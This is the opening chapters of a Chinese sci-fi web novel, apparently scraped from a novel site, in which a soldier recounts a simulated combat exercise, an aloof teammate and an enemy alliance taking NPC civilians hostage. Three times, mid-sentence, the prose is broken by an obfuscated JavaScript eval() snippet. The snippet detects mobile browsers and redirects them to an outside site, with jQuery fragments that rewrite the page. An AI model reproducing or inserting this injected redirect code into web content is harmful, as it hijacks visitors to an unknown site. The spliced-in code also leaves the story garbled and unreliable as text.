《被人工智能求婚了怎么办[星际]》 1. 【1.1】 【日期:联邦星历280年9月14日】 【声音来源:谈焰】 【记录:RC003】 【复核:0855、0897】 【以下内容根据影像资料整理】 需要看镜头吗? 好,我知道了,谢谢。 那么我开始了。 从哪里讲起呢……嗯?第一次和“它”认识是什么时候? 是在一年前。我参加一场A级联合军演,最后三天的战术科目里。具体日期记不清了,需要的话,你们可以去A级作战部队调记录。 对……当时我还在A级作战部队,第36军。一起参训的,还有同为A级的另外两个军。 战术科目用的是标准模拟作战系统,300人一场,5人为一小队,队友、地图都是随机分配的。规则很简单,除了队友,所有人都是敌人,以三天里队伍的击杀总数统计排名。 演习当天,我早早就到了模拟机房,戴上设备,刷身份卡进了系统。 视野中出现了一段影像,是一片起伏绵延的山林,镜头拉到山脚,灰蒙蒙的建筑群一闪而过。同时解说词响了起来: “这是一座风景秀丽、气候宜人的小城。这一天,突如其来的枪声,打破了原本宁静的生活。” 视野暗下去。 再亮起时,已经进入到系统界面。右侧的队伍列表里,分配的4个队友已经刷出来了。不过除了系统给的一个编号,看不到任何具体信息。 在这种考验团队配合能力的科目中,队员之间需要有个基本的了解。队频里,1号队友率先开了口:“大家都自我介绍一下,没意见吧?从我先开始,我叫卢骁尧,目前隶属于95军……” 他话音还没落,4号队友突然惊喜道:“卢头?是你?” 接着转向另几人介绍,“卢头是我们95军的数据分析专家,还被不少别的部队请去讲过课。我建议让卢头当队长,这次的科目所有队伍都是敌众我寡,局面一定非常混乱,正适合数据分析师的专业发挥,由他负责指挥,我们的优势很大。” 另外几人都没有意见。毕竟小队需要一个指挥,而目前看来1号的履历也表明他有能力胜任这个指挥。他自己应该也是这样想的,没怎么推辞就答应了。 我的编号是2。编号3的队友也是95军的。 最后轮到5号队友介绍。 5号只说了一句话:“我来自36军,你们好。” 他……希望你们在这里用男“他”,谢谢。他说话的语气非常平铺直叙,没有一星半点的起伏,听起来不太友好。 队频中短暂地冷场了一下。 片刻,队长轻咳了一声:“既然大家都认识了,从现在开始,就是战友了。我先简单说一下我的思路——从刚才的入场影像目测,这次的地图面积至少在20万平方公里以上,空间相当开阔,而我们的入场地点是随机的,可能相隔很远。按最坏的情况计,可能需要超过24小时才能会合,这对大家的单兵能力是个考验。” “此外,因为地图有山地和城市两部分,选择装备时,必须同时兼顾野外生存和火力输出,所以希望大家在合理范围内分配负重。” 按惯例,模拟系统的入场提示影像相当于战场上的情报,可能语焉不详,但通常不会故意误导参训者。 从登入系统到正式开场只有10分钟倒计时。可以说,能在有限的时间里从提示影像中提取到多少有用信息,在很大程度上将决定队伍有多大的先手优势。 等队长分析完了提示影像,恰好一声提示音响起—— 倒计时5分钟,装备面板开放了。 模拟系统有一点很好,装备库比现实中要丰富得多。从枪支、弹药、冷兵器,到各种常用的冷门的我甚至叫不上名字的军用仪器设备,足有上千种,而且不用担心领到故障装备。 虽然面板中除了弹药外的所有物品都有数量上限,但常用装备的上限基本都是5,和队伍人数相当。至于一些其中尤为常用的——比如陆军标配的71式狙击步|枪,数量上限甚至是10——就算有5个左右开弓的双枪选手恰好凑成一队都不是问题。 71式的数量很快往下跳了两个,被队长和3号队友各选走一把。 3号还选了一台智能观察员,看起来是个狙击手。 4号选了一把轻型冲锋枪、一支霰|弹|枪,他似乎不太在意负重,除了弹匣,手榴弹、闪|光|弹、震爆弹和烟雾弹也拿了十几枚——模拟系统里这类抛掷弹药的重量是略重于现实中的,每一枚都是1kg。而为了保证行动能力,男性单兵的负重通常应控制在70kg以内,4号刚刚好卡在了70线上。这导致他的个人信息框上多了一个红色的警示灯。 “不考虑适当减重吗?”队长注意到了那个警示灯,委婉道,“这个地图很大,背这么多东西行动可能会不方便。” 4号说:“放心吧卢头,开场就会用掉一部分的。根据我的经验,地图越大,大部分人在开场时心态就会越谨慎,怕后期弹尽粮绝,所以前期捂着子弹不舍得用,这时候用重火力收割人头,一收一个准。” 毕竟是刚组建不到10分钟的小队,见他坚持,队长也就尊重了他的意见,不再说什么。 面板的前一页几乎全是各种型号狙击步|枪,我翻到第二页,找到QJL661式轻机枪,勾选。身上微微一沉,顿时多了11.7kg的重量。 到目前为止,71式是公认的平衡性、广适性最完美的狙击步|枪,但唯一的缺点就是它8.5kg的重量……当然,与其说这是它的缺点,不如说是我的。女性单兵在穿戴外骨骼的情况下,负重上限能达到60kg左右。这注定了我在分配上要更加精打细算。 71式不比一挺轻机枪轻多少,对我而言,为了这点重量差牺牲火力的优势,并不划算。 QJL661式是轻机枪里我用得最顺手的,有着和它的轻盈外表反差极大的威力。它的枪托后部有一个月牙形的镀铬凹槽,故又有一个别名——偃月。 我加挂了榴弹发射器,带了7条100发5.8mm全可散弹链。考虑到地图的复杂性,又选了一把微声手|枪、一把多途匕首,以及三天的口粮和水、防具、照明、通讯器、急救包等必需品,好在提示影像里明确说这个城市“气候宜人”,就表示这次的天气不会是影响因素,不用背防寒、防汛的装备。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063980|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该带的都带上后,我的负重达到了53.8kg。我原地跳了两下,又检查了一下外骨骼的情况,确认没有问题后,就一边听着队频里队友的交谈,一边等倒计时结束。 等待的过程中,我随手把装备面板翻到了最后一页,欣赏那些现实中我可能直到退伍都未必能亲眼看见一次的冷门装备。 但翻了几下后,我的视线突然停住了。 龙牙-1小型一次性火箭筒——这是一款去年刚刚定型的最新装备,我只在装备展上看到过它一次。还记得资料介绍说它相比传统火箭筒有着突破性的革新,兼具极强的杀伤力和极小的后坐力,且外型轻盈,长度只有0.9米,背在身上就像背了个大号羽毛球筒。 我点开武器详情,看了一眼重量,6.5kg。 很难不动心。 一种武器从设计定型到实际服役之间或许要长达几年,下次再有体验它的机会不知道是什么时候。 如果它重到离谱就算了,但它又没有,只要我少带一瓶水、或者几节电池,就完全可以把它带上。虽然这种以反坦克功用为主的武器在这个地图里几乎没有适用的场景,但……万一呢,大不了就像4号队友说的,开场就打掉,说不准也能收到几个人头? 我纠结了几秒,下意识地把龙牙的详情关闭、点开、再关闭……不小心还点到了一次它旁边的武器。 龙牙的图标突然暗了下去。 这是它被人选定的表示,同时数量也从1变成了0。 系统显示选定者是5号队友。 我愣了一下,点开了5号的背包,发现他除了龙牙,还把库存仅有的3个中型爆破器包圆了,另有一个71式能加挂的最大口径榴弹发射器,以及爆破弹头若干。没带任何防身武器。 ……这是我见过的风格最激进的爆破手。 我想了想,放弃了跟他抢。接受了今天我和龙牙本无缘的事实。 倒计时归零的那一刻,眼前的视野倏忽间暗下去。紧接着,一片色彩更明艳的画面投映出来。 山坡、林地,风动叶声,阳光炫目……我已经身在场景地图里了。 位置看起来像是在城市周边的山上,我迅速找了个掩体隐蔽,查看通讯器内的定位地图,确认了这一点。我处在整个地图的最南端,运气似乎不太好,小队成员全部分散在地图边缘,犹如培养皿上5个天各一方的互斥菌落。 5个人在队频里依次汇报了所处位置的情况。但由于山林中视野不佳,暂时都没有发现值得占据的有利地形。 没有基础数据,数据分析师的工作就无从谈起。队长只能在距离相对最近的自己和3号队友之间划定了一片区域,中规中矩地下达了指令:“大家向这里移动,山脚集合。” 我在队频里回了收到,借着树林的隐蔽开始下山。 开场时间是正午12:00,光照相当强烈,好在刷新在这么偏的区域的人不多,借着覆盖地表的茂盛植被的掩护,我平安地走了三个多小时。等日光开始西斜时,停下来补充了一些食物和水,正打算看看是找个地方休息还是趁着夜色继续赶路。 就在这时,一声枪响,惊破了黄昏下寂静的山林。 2. 【1.2】 一群飞鸟扑棱棱冲上天空,紧接着,又是连续几枪,伴随着爆破弹炸响的轰鸣。 声音来源在我的三点钟方向,我迟疑了一下,朝那里小心翼翼移过去,大约500米过后植被开始稀疏,一座山谷出现在眼前,底部一条粼粼细流蜿蜒向山下,两侧是起伏的石灰色峰丛,具有明显的岩溶地貌特征。 爆破弹应该是炸在了谷底,从我所在的位置,无法直接看到爆炸点的痕迹,只有少量烟雾在山谷中缓缓逸散。 刚刚这里显然发生了一场战斗。 我借着夕阳的余晖打量了一下四周。 这个山谷底部地势平坦,邻近水源,等到入夜应该能迎来一波取水的人流小高峰。而两侧的峰丛又很适合隐蔽,一眼望过去,就能找出无数个适合伏击的位置。我不确定刚才引爆炸弹的人有没有离开,但我相信即使对方离开了,这个貌似平静的山谷里此时此刻仍然埋伏着不下十个人。 队频里,队长和3号队友已经顺利会合了;4号行进途中遇到混战,暂时受阻,决定退回山上找个地方观望。 队长问:“2号,你那边情况怎么样?我看你好长时间没动了,需要支援吗?” 我略迟疑。 “我去支援她吧,”这时,5号冷淡而平板的声音从频道里传出,“我离她近。她正在一个适合捡漏的位置,可以试试。” 我扫了一眼定位地图,才发现5号不知道什么时候已经距离我不到1公里。我记得他开场明明是在东部山区的。 跑得还挺快。 我确实有点想趁山谷里埋伏的这些人一心抢人头,从背后收割他们一波,刚刚犹豫是因为怕自己势单力孤,一旦暴露容易被反杀。 但有队友在就好办了。 夕阳一寸寸沉入地平线,我借着最后的余晖,再将山谷中所有可能藏人的位置默记了一遍。匍匐移动到一丛灌木后,开始等待。 一个小时过去,天完全黑下来。 正如提示影像所言,这里的天气不坏。但山上入夜后气温还是降到了10摄氏度以下,谷底起了雾,潮凉的水汽漫上来,打湿了我身上的作训服。 地图显示,此刻5号和我的直线距离仅有200米的山谷对侧。这一个小时里,他也一动没动。 我回忆起他的装备里似乎没有夜视仪,估计现在两眼一抹黑,正想跟他简单说几句。 谷底突然传来了动静。 一团裹着草叶的阴影缓缓出现在了浓雾中。 平心而论,这个人的伪装做得不错,行动也够谨慎,基本都是在树木和岩壑构成的射击死角之间纡回行进。 但他显然对这片山谷的险恶程度缺乏正确的认识。 他的身影同时出现在了十多部瞄准具里,黑暗中的猎手们屏气凝神,等待着收网的瞬间。某位粗心的狙击手拉动枪栓的动作,甚至惊动了岩穴里的一只刺猬。刺猬唧唧叫着跑了出来,谷底的闯入者立刻停住脚步,退回到安全的掩体之后。 直到几分钟后,确认周围没有其他响动,闯入者才放松了警惕,从掩体后探出头。 我在这一刻扣下了扳机。 一个三发的短点射,喷吐的火舌如同黑夜中爆裂的流星。子弹落点距离闯入者超过10米,根本没有可能打中。 ——这不是在参与捕猎,而是在示警。 山谷中带着某种默契的寂静骤然被打破,我几乎能听到四面八方的骂娘声,闯入者惊得再次回缩,紧接着,节奏混乱的弹雨自两侧山坡上倾泻而下。也有人在向我的位置开枪——刚刚那一枪,已经暴露了我所在的点位。 我低头掩蔽,同时迅速收起两脚架将机枪背起,沿着山壁的凹槽向下滑。 天黑前我已经观察过,在我下方约3米处就有一座凸起的小型峰丛。但这里的地形的复杂程度出乎我的预料,黑暗中,到处都是看起来外观相似的峰丛,而此刻迫近的枪声已经不容我仔细辨认。 “十一点钟方向。”队频里,5号突然说。 没有思考的余裕,我朝他指示的位置一跃而下。弹片击碎的石屑擦过我的耳边。 落点不是我预先看好的那个掩体,而是略低一些的另一个峰丛,这一下落了得有近5米。我在落地时顺势翻滚卸去冲量,下一刻,却感到手掌撑住的并非坚硬的地面,而是人的肢体。我心中一悚,迅速拔出大腿外侧的手|枪上膛,但很快我发现身下只是一具尸体。 几步开外,另一个身上披满隐蔽物的士兵正用迷彩油都难以掩饰的惊愕表情盯着我。 在看清我手中的枪口时他连试图拿防身武器的动作都没有,直接小幅度举起手,迅速道:“别开枪,合作吗?” 我示意地上的尸体,问他:“你们一起的?” “对,是我队友,”他说,“他刚才被对面的流弹打中了。你怎么在上面?第一枪是你开的?” 我点了点头,又观察了他几秒,移开了指着他的枪口。 他明显松了一口气,低声道:“你们有多少人?什么计划?” 我当然不能告诉他我这边就两个人,其中还有一个睁眼瞎。 我问:“你有闪|光|弹吗?” 他忙道:“有的。” 他和他死去的队友各带了两枚闪|光|弹,我带了一枚。 山谷中的枪声响了一阵,渐渐平息了下去。 不知道谷底那个闯入的目标退场没有,不过即使还留在场上,这会儿想必他短时间内也不可能再冒头。雾气重新笼罩了山谷,四周传来窸窸窣窣的轻微响动——有些人等不住了,决定放弃在这里无休止的守株待兔;还想留下来碰碰运气的人也因为刚才的射击导致的暴露,准备换位置。 所以当5枚闪|光|弹从天而降时,几乎所有人都来不及反应,剧烈的强光伴随着高分贝的声波冲击着整座山谷。即使在城市的另一端,也能看到夜空下犹如有人在天地间按下快门似的闪光灯灼烁。 正在西北侧一座山头上警戒的队长确认了强光的位置,在队频里紧张发问:“2号5号,你们那边怎么回事儿?你们安全吗?别舍不得那几个人头了,不行就撤……” 但这话我已经听不见了。 强声波冲击下我的耳膜出现了暂时性的失聪,好在从闪|光|弹抛出到爆炸其间有3秒左右的时间,足够我和我的临时队友缩到掩体后趴下。我们的视力并未受损。爆炸结束后的山谷中乱成一团,无数转移到一半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063981|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被打断、又因失明无法辨别方向而仓皇打转的身影出现在峰丛之间。 我迅速起身回到刚刚架好的射击位,枪管斜向下方,扣动了扳机。 后面的事情没什么可说的,就是单方面的收割而已。我用偃月清扫靠我们这一侧的山谷,临时队友用他的自动步|枪负责对侧。 其实真正的战斗打响到结束只有不到5分钟,我拿了7个人头,临时队友拿了4个,山谷里应该还有活口,但闪|光|弹和枪声会很快把附近的其他人引过来,如果不及时抽身,我们可能也会变成被收割的对象。 我们一路向北侧穿出那片山谷。完全走出来时,已经是第二天的黎明。 我的听力恢复了,在队频中接受了一波来自队友们的关切。 “一觉醒来,队里多了8个击杀?这是真实存在的吗??” “4号?突击手中的人形兵器,是你吗?” “不是我啊!我这边山上树太密了,什么都看不清,全在乱杀的……靠混战圈太近容易被送走,我在边缘蹲了一晚上,才蹲到1个人头。” “我天,2号和5号,剩下7个都是你俩打的?” 5号一成不变的冷淡的声音响起:“我没有,是她打的。” 队友们显然不信,但在斐然的战绩面前显得格外宽容,嘻嘻哈哈地闲聊了一会儿。被队长要求去休息——一夜没睡的小队成员此刻状态大都不佳。我、4号、5号面板上的“疲惫”值都亮起了警示灯,4号还多亮了一个“饥饿”。 模拟系统里的警示参数无法直接传导到参训者的生理状态,但会影响在系统中行动的速度和精准度,类似于玩游戏操作卡顿或者是画面分辨率不足。 这时的天色已经全亮。接近山脚,植被渐从高大的林木变成了葱郁低矮的灌木,提供了不少适合休息的场所。我找到了一个两块巨石间的岩缝,外面覆盖着一人多高的杂草,背临峭壁,很适合从上方警戒。 不等我开口,临时队友已经爽快地抱着枪爬上了峭壁:“你先休息,等你醒了再换我。” 我没拒绝。我真的好累了,窝在冷硬的石块上的一刻觉得整个人都恍惚了。 借着最后一丝清醒,我在队频里问5号要不要过来。 自昨晚从山谷出来,5号始终不远不近地缀在我身后。我发文字叫他过来会合,他回了一个冰冷简洁的“不”,让我有点儿摸不着头脑。想细说奈何那会儿耳朵还聋着,只能作罢。 而此时此刻5号再次拒绝了我:“我就不过去了。” 我单手压住通讯耳机:“为什么?” 他没有再回答我。 我在接近中午时醒来,换了临时队友下去休息。 距离开场已经过去24小时。按照我以往参加这类的演习的经验,超过一半的小队在这时都应该已经完成会和,处于争夺有利位置的白热阶段。但奇怪的是,此刻只有远方偶尔传来的零星枪声,并没有预想中的激烈交火。 平静得简直有些反常了。 不过很快,我就知道了如此反常的原因。大约下午3点,4号队友在队频里报告:“我到城市边缘了。大家,一个坏消息,这里不是空城,这个地图是有平民的!” 3. 【1.3】 “什么?”队长诧异,从前的模拟系统里从未出现过参训者以外的其他人,“平民……真人吗?还是NPC?” “好像是NPC,这边有个收费站,我正在观察。同样牌照的车辆隔一段时间就会再通过一次,应该是设定好的程序。队长,怎么办?” 队长深吸了一口气。 这款作战模拟系统作为演习平台应用只是近10年的事,各种功能一直在进行完善升级。从前没有过的事情,不代表不会发生。这一重要信息其实已经在提示影像中传达过——“突如其来的枪声,打破了原本宁静的生活”,暗示在这一天之前,这里存在着“宁静的生活”。只是他出于经验和惯性将其忽略了。 如果早些发现这一点,他不会让4号浪费负重去带霰|弹|枪,更不会让5号带那些高伤爆破武器。虽然系统并未明确给出禁止伤及平民的规则,但显而易见,保护群众的生命安全本就是身为军人的职责,没人想尝试违背它的后果,即使面对的“群众”只是一堆数据。 “你先过来我和3号这里吧,”队长默然片刻,说道,“别进到城里,也尽量别在有NPC经过的地方开火。2号和5号也是——尤其是5号,千万别用火箭筒和爆破器。如果有情况让2号掩护你,等天黑再走。” 我回了句“收到”,点开地图,发现5号的位置比早上向西移动了两公里多,且还在持续远离我。 他显然不打算让我掩护,也不打算等天黑。昨天晚上,如果不是他恰好也认为那个山谷很适合捡漏,我觉得他甚至会把我扔在四面楚歌的战圈中独自离开——虽然他即使留下也没开火。 但随机分配队友就是这样,什么样的人都可能遇到。我只能尽量往好的方面想,至少他的数据分析能力还挺强的,有时甚至让我感觉不比队长差。 不过这也是让我觉得很奇怪的一点。 如果我们36军有这么一位专业素质过硬、预判能力一流、经常不听指挥、偶尔阴阳怪气的数据分析师,应该很有名气才对。但我以前从来没听说过这样一号人。 临时队友在傍晚前醒了过来,先对着通讯器交谈了一会儿,从掩体出来时,脸色不太好。我问他是不是也知道城市里有平民的事情了。 他点点头,但不只是这个原因:“我们队伍又有个队友退场了。” 加上昨天山谷里被流弹送走的那位,他们小队现在只剩下三个人了。 他的队伍和我一样,预设的会合点都在地图北侧,所以我们决定继续同行。 这种临时组合当然没有自己的队友可靠,如果对方反水,也可以随时来拿我的人头,但系统规则注定了在这场演习中每支队伍要面临的都是远倍于己的敌人,没人会对轻易自己珍贵的盟友反戈相向。甚至在有共同利益的情况下,很多队伍会主动寻求适合结盟的对象。 根据经验,演习进行到第二天,就会陆续有比较大规模的联盟团体出现了。 今晚的路大概不好走。我热了两份单兵口粮,直接清空了饥饿值,又检查了一遍剩余弹药的情况。趁着天黑前和临时队友下了山,沿着一条城郊公路,开始向北移动。 黑夜里四处是爆鸣的枪声和明灭的火光。 这时大部分队伍应该都已经发现了地图里有平民NPC的情况。城市中太容易误伤,山上地形又复杂,于是开阔的城郊地带自然成了交火的主战场。 几乎是每走出几百米,就会碰上一场混战。我和临时队友不敢轻易开火,这种敌明我明的混战里两个人闯进去基本是找死,只能尽量选安全路线绕行,这种情况下的行进速度简直比昨天晚上在山上还慢,一直走到将近凌晨4点的时候,临时队友提出要停一下,他们队伍的另外两个人到附近了,要过来会和。 我们在一个景区入口的售票亭里等了几分钟,只见一个瘦高青年慌慌张张地跑来了。 见人数没对上,我差点儿拿他当人头狙了。 临时队友忙拦住我,问那瘦高青年道:“4号?怎么就你自己,队长呢?” “队长和我本来是一起过来的,我们半途碰到一个大团,至少有4个以上的队伍联盟。队长就临时决定潜到那个大团的据点附近侦察,让我先过来接应你。”瘦高青年深吸了一口气,“……但就在刚刚,我联系不上他了。” “联系不上?”临时队友皱眉,操作了一下自己的通讯面板,喃喃道,“没下线,但从地图上消失了,这是……信号屏蔽?” 他看向瘦高青年:“你们刚才分别的位置在哪儿?” 瘦高青年在地图上标画起来。 他们队伍的地图我看不见。不过,得益于前一天队长和3号在北侧山上做的大量侦察工作,我所在小队的地图上半部分细节已经变得相当丰富了。此时可见我所处的这个景区和城市北部的山区相连,从景区里穿过,我可以直接到达队长划定的汇合点。 另一边,临时队友和瘦高青年两人商量了一阵,转过来对我说:“这附近很可能有人开了信号屏蔽器,我们队长被困在屏蔽区里了。我们要去救他,你是继续和我们一起,还是?” 我把自己的队伍地图关掉,背上枪站起身:“我和你们一起。” 说实话,这还是第一次在战术科目里见有人携带信号屏蔽器。 装备库里最轻的信号屏蔽器单台重量也有27.5kg,携带它的人负重几乎不足以再带任何其他攻击性武器,相当于队伍减少了五分之一的输出。选择这样做的队伍一定是在一开始就确定了,他们的战术就是以信号屏蔽器的奇货可居,来吸引其他队伍的结盟。 这样一来,形成4队以上的超级大团也不足为奇。 我当然不想主动招惹这样的大团,但它既然存在,就已注定对场上的其他所有队伍都将是威胁,为了我的队伍,我必须尽可能多地掌握它的信息。 我和两个盟友出了景区,向着瘦高青年和他们队长分别的地点摸了过去。 走出3公里左右,我们的通讯信号也开始变得不稳定,定位时有时无。我的队友们发现了这一点,开始紧张地在队频里询问我发生了什么,我简单告知了情况:“有信号屏蔽器,型号未知,我会尽量确定屏蔽区的范围。目前安全,不需要接应,预计明天上午9点前到达会合点。” 耳机里夹杂着断断续续的噪声,我不确定队友是否接收到了发送的内容,正打算后撤到干扰少一些的位置确认一遍。 前方蜷身在高架下的高瘦青年突然冲着背后打了个手势。 我朝着他示意的方向凝神望去。 只见三个人正从高架旁的辅路走过,天色太暗,只能看清其中两个人并排走着,用枪指着前方第三个人——那人身形看起来十分纤瘦,身上似乎也没背装备包,走得踉踉跄跄。 “好像是俘虏,”身边匍匐的临时队友小声感慨道,“已经到了1个人头不放在眼里的程度吗,真是让人羡慕嫉妒恨啊……” 模拟演习里大部分人的习惯是不留战俘的。因为人头珍贵,所以都是一抓到立即击杀,防止被其他队伍抢。只有实力强横到了一定程度,才会留下战俘,引诱对方的队伍来救,以攫取更丰厚的战果。 但我总觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063982|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得哪里说不上的不对劲。 我低头看向夜视瞄准具,由于雾气的影响,微光夜视镜的观测效果不甚理想。我反复调节屈光度旋钮,视野中那三人的背影依然显得模糊不清。 “我不建议你开枪,”通讯耳机里,一个平稳冷淡的声线突然响起,“这个距离,你打不中。” 我本来都以为通讯断了,诧异道:“5号?” 5号“嗯”了一声。 我扫了一眼地图,发现不知道什么时候他又开始向我靠近了,眼下正在我西侧不到一千米的位置。我忍不住回头朝那个方向看了一眼,只见一片夜色笼罩下黑黢黢的群山,也不知道他在哪一座上。 “你看得见我?”我低声说,“你哪儿来的夜视仪?” “缴获。”他似乎不想在这个问题上多纠缠,“现在开枪,你击中目标的概率不到8%,而且你会立即暴露。如果引来敌人,你逃离这片区域的可能性不会超过……” 我打断他:“我知道,我没打算开枪。不过情况要是允许的话,你能不能过来?”在这里待了几分钟,我已经感觉到这片区域有不少队伍在活动,大概都是察觉大团的存在,前来探查情况的。外围尚且如此,屏蔽区内的局面怕是还会更复杂。 盟队毕竟另有他们的目的,我需要真正的队友协助。 耳机里沉默了下去。 我不知道这是拒绝,还是通讯又被干扰了。 直到夜雾中传来高瘦青年惟妙惟肖的几声猫头鹰叫,我也没有等到5号的回应。只好悄悄起身,和临时队友一前一后跟了上去。 前方三个目标逐渐走向信号屏蔽区的中心。 我们借着高架桥和路旁树林的掩护,一路小心跟随。途中,我注意到拿枪的两个人中有一个在用抗干扰通讯器通话,看起来确实是大团的内部成员之一。 大约5分钟后,三个目标走下辅路,前方出现了一个大型广场,粗略目测占地在千平方米以上。广场正中矗立着一座四层高的建筑,霓虹灯带照亮的巨幅广告牌上写着某购物中心的名称。 “见鬼了,这商场怎么大半夜还开着。”临时队友嘀咕了一句。 系统时间显示现在是凌晨3:58。 通常来讲,这种开在郊区的大型购物中心不会24小时营业。而此时主建筑内有灯光、门前有人持枪警戒,显然是已经被占领。 这时,负责侦察的高瘦青年也从绿化带里钻了回来:“不能再靠近了!不知道哪个瓜货放了微型无人机过去,被打下来了,商场里不少人都被吸引到了广场上,我看见的就有十几个,还不一定是全部。这个大团的规模很可能还在扩张!” 临时队友听这话,突而灵机一动:“你说,会不会……队长已经加入他们了?” 如果真是这样,那他俩就算是抱稳全场最粗的大腿了。 想到这种可能性,临时队友神情略略松弛下来,甚至有心情开起了玩笑:“我说兄……呃,姐妹啊,我看你这么长时间也没队友认领,估计是独苗了吧。要不干脆跟我们一起入伙得了,你别嫌入伙丢人啊,你看看人家这团队、这状态,这视人头如粪土的气魄……” 似是为了呼应他的话,百米开外,那两个负责押送的士兵推着战俘走到了商场门前。 被推进旋转门的时候,那个战俘似乎挣扎了一下,但很快被制住,喉咙里发出了一声短促的尖叫,被反剪了双手顶到钢化玻璃上。 上方,霓虹灯带闪烁的辉光投下来,在这一瞬间映亮了那个“战俘”的脸。 身旁临时队友的话音戛然而止。 4. 【1.4】 那是一张三十多岁的、惨白的女性面庞,甚至还带着略有些斑驳的淡妆,她身穿衬衫牛仔裤、西装外套,如果忽略那张脸上极度惊恐的神情,她看上去就和任何一个现实中加班到深夜的平凡社畜无异。 注视着这一幕的两个盟友也瞪大了双眼。直到女人的身影完全消失在了门内,高瘦青年才匪夷所思地转回头来:“我记得,模拟系统……还没开发出换装功能吧?” 是这样。每个参训者在进入系统的一刻起就被自动穿戴了统一的作训服和防具,占用初始负重,无法更改和脱卸。一旦防具被击穿,会直接判定人物死亡。 而且那个女人脸上的表情——和愤怒于落入敌手、或遗憾于即将退场的士兵不同——那样真切的绝望,理当仅属于在面临未知的生死而无能为力的人类。 她不是这场演习的参训者,而是一个无辜的平民。 虽然构成她血肉的只是一堆数据。 我这才明白,为什么这个大团敢肆无忌惮的扩张;在大部分参训者都担心造成误伤,而远远绕开平民活动的区域时,他们却敢公然占领一个大型购物中心。 他们一面劫持附近的平民,一面以信号屏蔽器为诱饵,吸引前来结盟的、侦察的其他队伍。可以想象那些队伍的成员第一次看到NPC人质时的震惊——而震惊过后,或许大部分人会出于本能地感到愤怒,可终究会有少部分人,会惊喜地发现这是一条新捷径。 他们并没有突破底线,因为他们不会在实质上伤害NPC人质,却能让对手束手束脚。因为忌惮误伤,任何队伍都不敢轻易和商场里的大团展开正面冲突,而发现这一点的时候,他们往往已经深入这片屏蔽区,失去了通讯,根本无法与在据点中精心部署以逸待劳的大团抗衡。 摆在他们面前的就只剩下两个选择——要么加入,要么被歼灭。 我缓缓松开手,被拨开的黄杨枝叶归位,挡住了广场上照过来的灯光。 我望向我的两个盟友:“你们还想入伙吗?” 两个人摇了摇头。 “如果你们的队长已经投了他们呢?”我说,“他的信号已经消失快一个小时了吧。到现在还没退场,投诚的可能性很大。” 两个人对望了一眼,陷入片刻沉默。 即使完全看不清他们的表情,在那个片刻里我也明显感受到了他们的挣扎。 “不。”过了十几秒,临时队友才开口,艰涩道,“不管发生什么,这样卑劣的团队……我们绝不加入。” 他们的这个决定,使我们双方合作的基础得以保全。 短暂的消化了已知信息过后,我们开始重新分工,探查这片区域。购物中心很大,大团占据的也只是它的主建筑,周围还有很多功能性建筑物,其中广场西北侧一栋5层高的停车楼引起了我们的注意——这是整片区域内,唯一具有足够高度侦察和狙击商场主楼的点位。 两个盟友认为他们的队长在没有入伙大团的前提下,最大的可能就是躲进了这栋停车楼里。 这一点很快得到了旁证——在黑灯瞎火地偶遇了几支同样是来找人的散队后,其中一支告诉我们,昨天前半夜,曾有一个3支队伍的联盟试图来推大团的据点,在广场上爆发了一场混战,卷进了不少藏当时在附近的散兵游勇。 但最后据点没能推动,这群人混乱中被清出场了不少,留下来的,全都且战且退进了西北侧的停车楼。 停车楼的建筑结构注定了它易守难攻,大团刚经历过战斗,也有减员,暂时不敢强攻这里。 但依旧在广场东北侧部署了明显多于他处的警戒力量。 临时队友说:“这么看,等他们再招降纳叛一阵儿,兵力足够多了,最后还是要拿下这里。”捷径的诱惑力终究是巨大的,在得寸则寸的利益面前,不要太高估人类的意志力,在广场周边待了两个多小时,我们已经亲眼见证了近10人或主动、或被迫投入了大团的怀抱。 高瘦青年附和点头:“得在他们开始行动之前救队长出来。” 偶遇的几支散队都是这个意见,而且估计里面的人更是这样想,毕竟就算能在停车楼一直安全待下去也没有任何意义——演习不输出,跟退场了有什么区别? 愿意合作的散队,加上我们在内一共有11个人,如果能和停车楼里的人里应外合,不是没可能打一场漂亮的突围战。 碍于没有通讯,各方面无法统一指挥联动。这次战斗的计划定得尽可能的简单——先由3个人在广场东侧佯攻,吸引大团的火力,其他人趁机在西北侧发动突袭,掩护停车楼里的人撤出。 我主动承担了佯攻的任务。 毕竟停车楼里没有和我有直接关系的人员,我不打算参与后续的战斗。天已经快亮了,我答应了我的队友9点前去会和。 分别时,我问了两个盟友的名字,并约定好一个预留的通讯频道,方便出屏蔽区后联系。 我用临时队友的名字将频道命名为“陈钦”。 我和两个共同负责佯攻的散兵一起转移到了广场东侧,在黎明前打响了第一枪。 